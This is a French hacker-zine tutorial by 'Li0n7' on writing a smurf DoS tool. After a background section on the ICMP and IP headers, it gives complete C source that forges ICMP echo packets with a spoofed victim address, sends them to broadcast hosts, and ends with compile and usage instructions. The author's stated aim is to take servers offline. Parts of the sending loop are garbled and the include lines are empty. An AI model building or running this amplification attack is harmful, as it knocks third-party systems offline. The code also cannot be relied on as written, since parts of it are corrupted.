--------------------------------------------------------------------------------------- VI. Programmation d'un Smurfer Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Smurfing, DoS, techniques qui furent très en vogue ces cinq dernières années, ont largement prouvées leur efficacité lors de mise hors service de serveurs web. Le principe, très simple et cher aux kiddies, rebute néanmoins la plus part des individus désireux de tenter l'expérience en raison de sa difficulté de mise en oeuvre, du moins au niveau de la programmation de l'outil. Je ne vais pas m'embarrasser à vous rappeler le principe du fonctionnement d'un smurfer, vous êtes tous censés le connaître. Les paquets ICMP envoyés seront de type ICMP_ECHO et de code 1. [ Sommaire ] I. Protocole ICMP II. Protocole IP III.Programmation du smurfer IV. Implémentation V. Code source I. Le Protocole ICMP : ______________________ Le protocole ICMP (Internet Control Message Protocol) est un protocole qui permet de gérer les informations relatives aux erreurs aux machines connectées. Etant donné le peu de contrôles que le protocole IP réalise, ICMP permet non pas de corriger ces erreurs mais de faire part de ces erreurs aux protocoles des couches voisines. Ainsi, le protocole ICMP est implémenté par tous les routeurs, qui l'utilisent pour reporter une erreur (appelée Delivery Problem). Les messages d'erreur ICMP sont transportées sur le réseau sous forme de datagramme, comme n'importe quelle donnée. Ainsi, les messages d'erreur peuvent eux-mêmes être sujet d'erreurs. Toutefois en cas d'erreur sur un datagramme transportant un message ICMP, aucun message d'erreur n'est délivré pour éviter un effet "boule de neige" en cas d'incident sur le réseau. [ Datagramme ICMP ] Nous savons donc que les données sont envoyés sous forme de datagrammes, ce dernier est d'une simplicité déconcertante comparé à des datagrammes TCP par exemple (nécessitant un nombre plus conséquents de headers). Il contient donc 4 champs: o type, codé sur 8 bits ; lors de notre smurf nous définiront le type comme ICMP_ECHO. o code, codé sur 8 bits ; nous lui allouerons la valeur 1. o checksum codé sur 16 bits o et le message qui peut avoir une taille variable. Je vous propose une petite représentation ci-dessous, (excusez mon manque de talent artistique) : 0 ______________________15-16________________________31 | | Message ICMP (xb) | | ID. |____________________________________________ | | | | | | | | |Type(8b)| Code(8b)|Checksum(16b)|sequence(xb)| |_______|________|_________|_____________|____________| *Type: Voici une liste non exhaustive des différentes valeurs susceptibles de remplir le champ type du datagrame ICMP. On ne va pas passer en revu chaque type, l'echo reply et l'host unreachable nous intéréssant seulement. +----+-----------------------------------------------------------+ |TYPE| DESCRIPTION | +----------------------------------------------------------------+ | 0 | Echo reply | +----------------------------------------------------------------+ | 1 | Réservé | +----------------------------------------------------------------+ | 2 | Réservé | +----------------------------------------------------------------+ | 3 | Destination injoignable (unreachable) | +----------------------------------------------------------------+ | 4 | Source quench | +----------------------------------------------------------------+ | 5 | Redirection | +----------------------------------------------------------------+ | 6 | Addresse hôte alternative | +----------------------------------------------------------------+ | 7 | | +----------------------------------------------------------------+ | 8 | Requête echo | +----------------------------------------------------------------+ | 9 | Router advertissement (envoyé comme multicast, donc listé)| +----------------------------------------------------------------+ | 10 | Router solicitation | +----------------------------------------------------------------+ | 11 | Temps excédé | +----------------------------------------------------------------+ | 12 | Parameter problem (réponse à une erreur non couverte par | | | une requête icmp quelconque) | +----------------------------------------------------------------+ | 13 | Requête - Timestamp | +----------------------------------------------------------------+ | 14 | Réponse - Timestamp | +----------------------------------------------------------------+ | 15 | Requête - Information | +----------------------------------------------------------------+ | 16 | Réponse - Information | +----------------------------------------------------------------+ | 17 | Requête - Adress mask | +----------------------------------------------------------------+ | 18 | Réponse - Adress mask | +----------------------------------------------------------------+ | 19 | Réservé | +----------------------------------------------------------------+ | 20 | | | - | | | - | Réservé | | - | | | 29 | | +----------------------------------------------------------------+ | 30 | Traceroute | +----------------------------------------------------------------+ | 31 | Conversion error | +----------------------------------------------------------------+ | 32 | Redirection dynamique | +----------------------------------------------------------------+ | 33 | Requête "?" - IPv6 (détermine la version de l'IP) | +----------------------------------------------------------------+ | 34 | Réponse "!" - IPv6 | +----------------------------------------------------------------+ | 35 | Requête - Mobile Registration | +----------------------------------------------------------------+ | 36 | Réponse - Mobile Registration | +----------------------------------------------------------------+ | 37 | Requête - Nom de domaine | +----------------------------------------------------------------+ | 38 | Réponse - Nom de domaine | +----------------------------------------------------------------+ | 39 | SKIP Algorithm Discovery Protocol. | +----------------------------------------------------------------+ | 40 | Photuris (failles de sécurité) | +----------------------------------------------------------------+ | 41 | | | - | Réservé | | - | | |255 | | +----+-----------------------------------------------------------+ *Code : Il sera initialisé à 0 pour notre type de requête icmp. *ICMP Header Checksum : Somme de contrôle. Header ICMP + données. Le champ checksum doit être initialisé à 0 avant toute modification. *Identificateur : Permet d'identifier à qui le paquet est destiné, de coller une réponse sur une requête icmp. Numéro de séquence: Permet de différencier les paquets. II. Protocole IP : __________________ Fondamental et indispensable, ce protocole est à la base de la communication sur Internet et à travers tout type de réseau. Il traite les datagrammes IP indépendamment les uns des autres en définissant leur représentation, leur routage et leur expédition. [Datagramme IP] 0 ____________________15-16___________________________31 | 4 | IHL | To S | Total Lenght | |_____|_______|________|______________________________| | Identification | Flags | Fragment offset | |____________________|_______|________________________| | TTL | Protocol | Header checksum | |_________|____________|______________________________| | Source IP address | |_____________________________________________________| | Destination IP address | |_____________________________________________________| > Options (facultatif) < |_____________________________________________________| | | < Data < > > |_____________________________________________________| *Version : Toujours initialisée à 4, étant la version actuelle du protocole IP. *IP Header Length : Nombre de mots 32 bits formant le datagramme, d'habitude initialisé à 5. *Type of Service : Actuellement appelé Differentiated Services Code Point (DSCP). Normalement initialisé à 0, peut indiquer les besoin de qualité d'un service du réseau. *ToS : Voici les 4 options des ToS: [NOM] [VALEUR] 1- Minimiser le délai 0x10 2- Maximize throughput 0x08 3- Minimiser pertes 0x04 4- Minimiser la valeur pécuniaire 0x02 *Size of Datagram : En bytes, regroupant la taille de l'header et des données. *Identification : Nombre 16 bits qui avec l'adresse source servent à identifer le paquet. *Flags: 4 flags fondamentaux: [NOM] [VALEUR] 1- Pas de flag 0x00 2- Fragmenter plus 0x01 3- Ne pas fragmenter 0x02 4- More and Dont't frag 0x03 *Fragmentation Offset : Calcul en bits du premier paquet envoyé. *Time To Live : Nombre de sauts que le paquet peut exécuter avant d'être détruit. Décrémenté par la plupart des routeurs - Utilisé pour empêcher des encombrements réseaux. *Protocol : Service Access Point (SAP) indiquant le type de transport du paquet envoyé. Par exemple: [NOM] [VALEUR] 1- IPPROTO_TCP 0x06 2- IPPROTO_UDP 0x11 3- IPPROTO_ICMP 0x01 *Header Checksum: Somme de contrôle. *Source Address: Adresse IP de l'hôte source. *Destination Address: Adresse IP du destinaire. *Options: Normalement non utilisé, excepté quand la taille de l'header ip sera supérieur à 5 mots 32 bits pour indiquer la taille du champ option. III. Programmation du smurfer : _______________________________ Il s'agira donc d'envoyer des multiples ICMP_ECHO à un nombre conséquent de serveurs de diffusion (broadcasts) en spoofant l'IP d'une victime quelconque ; ceux-ci pointeront alors sur la cible lord du renvoie des replies. Le smufer que je vous ai concocté est relativement simple d'utilisation ; il vous invitera à entrer le nombre de broadcast, la quantité d'echos à envoyer, l'ip cible à spoofer. A chaque boucle l'ip du broadcast est demandée, une fonction listening s'est vu ajoutée. Celle-ci permet de recevoir un ECHO_REPLY à la suite d'un ping réalisé dans l'optique de vérifier la présence d'un hôte sur le réseau. Voici la structure d'un header IP et ICMP : [ Structure de l'header ICMP ] struct icmphdr { __u8 type; // 0 ECHO_REPLY; 8 ECHO_REQUEST __u8 code; // 0, inutilisé __u16 checksum; // 0 avec calcul union { struct { __u16 id; // 0, utilisé pour déterminer l'appartenance d'une requête __u16 sequence; // 0, voir id } echo; __u32 gateway; struct { __u16 __unused ; __u16 mtu; } frag; }un; }; [ Structure de l'header IP ] struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /* OPTIONS (facultatives) */ }; IV. Implémentation : ____________________ => connexion => variables et structures => Fonctions 1) Connexion : ______________ C'est bien jolie de voir toutes ces théories et explications sur les différents protocoles de communication, mais il va peut être falloir penser à coder le smurfer. Here we are ! Donc qui ne sait pas manipuler les sockets en C ? Petit rappel rapide ... Un socket est une API permettant la communcation entre deux processus et se déclare ainsi: ssocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP); Elle prend donc 3 arguments : o Domain: Le domain de la socket, respectivement: - AF_INET: Internet - AF_UNIX: Communication inter-processus. o Type: Manière avec laquelle la socket va interpréter ses données, à chaque mode une valeur: - Mode connecté: SOCK_STREAM - Mode non connecté: SOCK_DGRAM - Direct Protocole: SOCK_RAW (Pour forger nos paquets manuellement) o Protocol: Définit le protocole de la socket. - 0: Le système choisira le protocole à votre place, ne fonctionne pas en raw socket. - IPPROTO_UDP: Protocole UDP. - IPPROTO_TCP: Protocole TCP. - IPPROTO_ICMP: Protocole ICMP. ... addrsocket.sin_port=htons(random()); On fait donc appel à une structure pour initialiser le port: struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; sin_family: Famille d'adressage de la socket (AF_INET, AF_UNIX...) sin_port: Le port au format réseau. sin_addr: L'adresse IP auquel la socket va se connecter. La socket va donc se connecter à une socket distante, il lui faut donc définir un port au préalable ; ici le port est aléatoire. Ensuite, elle poursuit la connection comme suit: source=gethostbyname(fa) // On vérifie que l'host est reachable. bzero(&addrsocket, sizeof(addrsocket)); // Mémoire remplie de chtits 0 ! addrsocket.sin_addr=*(struct in_addr*)source->h_addr; // On pointe sur h_addr, //élément de la structure //hostent, représentant //l'adresse source. [ structure hostent ] struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_lenght; char **h_addr_list; }; h_name: HOST_NAME. String représentant le nom de la machine. h_aliases: Tableau de chars représentant les alias de la machine. h_addrtype: Type d'adresse de l'hôte distant (IPv4 ou IPv6). h_lenght: Longueur de l'adresse. h_addr_list: Encore un tableau contenant les adresses de l'hôte. Puis on se connecte en prenant pour argument nos acquis déclarés précedemment : connect(ssocket,(struct sockaddr*)&addrsocket, sizeof addrsocket) o ssocket: Le nom de notre socket. o (struct sockaddr*)&addrsocket: Pointeur vers la structure sockaddr, l'adresse de notre socket. o sizeof(addrsocket): Taille de la structure sockaddr. Donc, normalement vous savez connecter une socket avec succès. On va pouvoir passer à la programmation de nos différentes fonctions. 2) Déclaration des variables : ______________________________ char *sprotocol; // Pointeur protocole char *sa; // char *da; // int nbrPaquets, listening=0, optval, nb=0; struct hostent *source; // Pointeur sur l'adresse source (victime) struct hostent *cible; // Pointeur sur l'adresse broadcast struct sockaddr_in false; // Déclaration de la structure false (adresse socket victime) struct sockaddr_in dest; // Déclaration de la structure dest (adresse socket broadcast) struct icmphdr *icmp; // Pointeur sur la structure icmphdr struct iphdr *ip; // Pointeur sur la structure iphdr char *packet, *buffer; 3) Fonctions : ______________ [ dhosts ] Cette fonction prend en arguments deux pointeurs ramenant aux noms des hôtes : o *fa: Pour l'hôte source (adresse spoofé pointant sur la victime). o *fb: Pour l'adresse du broadcast. int dhosts(char *fa, char *fd) { if ((source=gethostbyname(fa))==NULL){ // On vérifie la présence de la victime perror("Hote source invalide"); exit(1); } else { // Sinon on pointe sur l'adresse source bzero(&false, sizeof(false)); false.sin_addr=*(struct in_addr*)source->h_addr; } if ((cible=gethostbyname(fd))==NULL){ // On vérifie la présence du broadcast perror("Broadcast invalide"); exit(1); } else { bzero(&dest, sizeof(dest)); dest.sin_family=AF_INET; dest.sin_port=htons(random()); dest.sin_addr=*(struct in_addr*)cible->h_addr; // Sinon, là encore, on pointe sur l'adresse source } return 0; } [ bicmp ] On entre dans le vif du sujet. Cette fonction prend en arguments tous les champs de l'header icmp, puisqu'elle va s'en servir pour le créer. char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk) { // Allocation dynamique de mémoire ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); ip->ihl = sihl; // Longeur de l'header IP ip->version = sversion; // Version de l'IP ip->tos = stos; // Type de service ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); // Longueur total du paquet ip->id = htons(getuid()); // Identification du paquet ip->ttl = sttl; // Time To Live, nombre d'hops restant au paquet ip->protocol = IPPROTO_ICMP; // Protocole utilisé, ici, ICMP ip->saddr = false.sin_addr.s_addr; // Adresse source (victime) ip->daddr = dest.sin_addr.s_addr; // Adresse broadcast icmp->type = ICMP_ECHO; // Champ type de l'header icmp, ici ECHO, donc type 0 icmp->code = scode; icmp->un.echo.id = sechoi; icmp->un.echo.sequence = ssek; // numéro de séquence icmp->checksum = schk; // Sommes de contôle icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); return (packet); } [ ismurf ] L'header forgé, il faut dorénavant créer une boucle d'envoie de requètes vers le(s) broadcasts.. Pourquoi sommes-nous si méchants ? Niark niark niark.. int ismurf(char *ia, char *id, int paquets, int slisten, int broads) { // Déclaratin des variables int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek; int dchk, sock, optval, pfailed=0, psucceed=0; char *buf; char *spaquet; // Récupération des différentes valeurs ultérieurement placées dans // les champs de notre header. L'utilisateur remplit donc manuellement // chaque champ, ce qui empèche certains kiddies puérils et sans sens // moral d'utiliser ce programme. printf("IP ILH(5): "); scanf(" %d", &dihl); printf("IP VERSION(4): "); scanf(" %d", &dversion); printf("IP TOS(0): "); scanf(" %d", &dtos); printf("IP TTL(255): "); scanf(" %d", &dttl); printf("ICMP CODE(1): "); scanf(" %d", &dcode); printf("ICMP ECHO.ID(0): "); scanf(" %d", &dechoi); printf("ICMP ECHO.SEQUENCE(0): "); scanf(" %d", &dsek); printf("ICMP CHECKSUM(0): "); scanf(" %d", &dchk); // L'utilisateur est invité à rentrer l'adresse du broadcast après // chaque boucle, l'idéal serait de lire les adresses dans un fichier, // ce qui serait plus rapide. for(j=0;jtot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0) { printf("Erreur lors de l'envoie des paquets!\n"); pfailed++; } else { printf("Données envoyées!\n"); psucceed++; } } close(sock); } // Statistiques, just for fun ;-) printf("\nStatistiques:\n"); printf("Adresse source: %s.\n", ia); printf("Nombre de broadcasts: %d.\n", broads); printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets); printf("Nombres de paquets envoyés total: %d.\n", paquets*broads); printf("Nombres de paquets correctement envoyés: %d.\n", psucceed); printf("Nombres de paquets perdus: %d.\n", pfailed); if(slisten!=1) { return 0; } // Fonction listening if (slisten==1) { if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0) { printf("Received the ECHO REPLY!\n"); return 0; } else { printf("Erreur, aucune réception.\n"); return 0; } } close(sock); return 0; } [ main ] Et enfin la fonction principale qui nous permet de récupérer les arguments entrés par l'utilisateur. int main(int argc, char *argv[]) { if (argc < 2) { printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n"); printf(" [Présentation des arguments] \n\n"); printf("usage: ./smurf -s -n -l\n\n"); printf("-s: l'adresse falsifiée.\n"); printf("-n: le nombre de paquets à envoyer.\n"); printf("-b: le nombre de serveurs broadcasts.\n"); printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n"); printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n"); exit(-1); } else { while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': // adresse victime sa=&argv[1][2]; break; case 'n': // Nombre de paquets a envoyé nbrPaquets=atoi(&argv[1][2]); break; case 'l': // L'utilisateur peut ne vouloir que vérifier la présence d'une machine // sur un réseau en envoyant un ping, alors le smurfer passera en listening listening=1; break; case 'b': // Nombre de serveurs broadcasts utilisés nb=atoi(&argv[1][2]); if(nb==0) { printf("Le nombre de serveurs ne peut être nul.\n"); exit(-1); } break; } --argc; ++argv; } } // Appel de la fonction ismurf ismurf(sa, da, nbrPaquets, listening, nb); return 0; } V. Code source : ________________ ------------8<----------------------------------------------------------------------- /******************************************/ /* Ssmurf By Li0n7 */ /* contactez-moi: killer.kil@voila.fr */ /* http://www.rndghost.com */ /* ICMP SMURFER - ICMP SPOOFER */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include char *sprotocol; char *sa; char *da; int nbrPaquets, listening=0, optval, nb=0; struct hostent *source; struct hostent *cible; struct sockaddr_in false; struct sockaddr_in dest; struct icmphdr *icmp; struct iphdr *ip; char *packet, *buffer; unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int dhosts(char *fa, char *fd) { if ((source=gethostbyname(fa))==NULL) { perror("Hote source invalide"); } else { bzero(&false, sizeof(false)); false.sin_addr=*(struct in_addr*)source->h_addr; } if ((cible=gethostbyname(fd))==NULL) { perror("Broadcast invalide"); } else { bzero(&dest, sizeof(dest)); dest.sin_family=AF_INET; dest.sin_port=htons(random()); dest.sin_addr=*(struct in_addr*)cible->h_addr; } return 0; } char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk) { ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); ip->ihl = sihl; ip->version = sversion; ip->tos = stos; ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->id = htons(getuid()); ip->ttl = sttl; ip->protocol = IPPROTO_ICMP; ip->saddr = false.sin_addr.s_addr; ip->daddr = dest.sin_addr.s_addr; icmp->type = ICMP_ECHO; icmp->code = scode; icmp->un.echo.id = sechoi; icmp->un.echo.sequence = ssek; icmp->checksum = schk; icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); return (packet); } int ismurf(char *ia, char *id, int paquets, int slisten, int broads) { int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk, sock, optval, pfailed=0, psucceed=0; char *buf; char *spaquet; printf("IP ILH(5): "); scanf(" %d", &dihl); printf("IP VERSION(4): "); scanf(" %d", &dversion); printf("IP TOS(0): "); scanf(" %d", &dtos); printf("IP TTL(255): "); scanf(" %d", &dttl); printf("ICMP CODE(1): "); scanf(" %d", &dcode); printf("ICMP ECHO.ID(0): "); scanf(" %d", &dechoi); printf("ICMP ECHO.SEQUENCE(0): "); scanf(" %d", &dsek); printf("ICMP CHECKSUM(0): "); scanf(" %d", &dchk); for(j=0;jtot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0) { printf("Erreur lors de l'envoie des paquets!\n"); pfailed++; } else { printf("Données envoyées!\n"); psucceed++; } } close(sock); } printf("\nStatistiques:\n"); printf("Adresse source: %s.\n", ia); printf("Nombre de broadcasts: %d.\n", broads); printf("Nombres de paquets à envoyés par broad.: %d.\n", paquets); printf("Nombres de paquets envoyés total: %d.\n", paquets*broads); printf("Nombres de paquets correctement envoyés: %d.\n", psucceed); printf("Nombres de paquets perdus: %d.\n", pfailed); if(slisten!=1) { return 0; } if (slisten==1) { if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0) { printf("Received the ECHO REPLY!\n"); return 0; } else { printf("Erreur, aucune réception.\n"); return 0; } } close(sock); return 0; } int main(int argc, char *argv[]) { if (argc < 2) { printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n"); printf(" [Présentation des arguments] \n\n"); printf("usage: ./smurf -s -n -l\n\n"); printf("-s: l'adresse falsifiée.\n"); printf("-n: le nombre de paquets à envoyer.\n"); printf("-b: le nombre de serveurs broadcasts.\n"); printf("-l: listening, attend un réponse pour paquets icmp envoyés.\n"); printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n"); exit(-1); } else { while( (argc > 1) && (argv[1][0]=='-')) { switch(argv[1][1]) { case 's': sa=&argv[1][2]; break; case 'n': nbrPaquets=atoi(&argv[1][2]); break; case 'l': listening=1; break; case 'b': nb=atoi(&argv[1][2]); if(nb==0) { printf("Le nombre de serveurs ne peut être nul.\n"); exit(-1); } break; } --argc; ++argv; } } ismurf(sa, da, nbrPaquets, listening, nb); return 0; } ------------8<----------------------------------------------------------------------- Pour compiler: $ gcc -o smurf smurf.c usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l -s[SPOOFED_IP]: l'adresse falsifiée. -n[NBR_PAQUETS]: le nombre de paquets à envoyer. -b[NBR_SERVEURS]: le nombre de serveurs broadcasts. -l: listening, attend un réponse pour paquets icmp. [ Conclusion ] Programme publié à but purement indicatif et explicatif. Besoin d'aide? Commentaires? Insultes? - killer.kil@voila.fr -EOF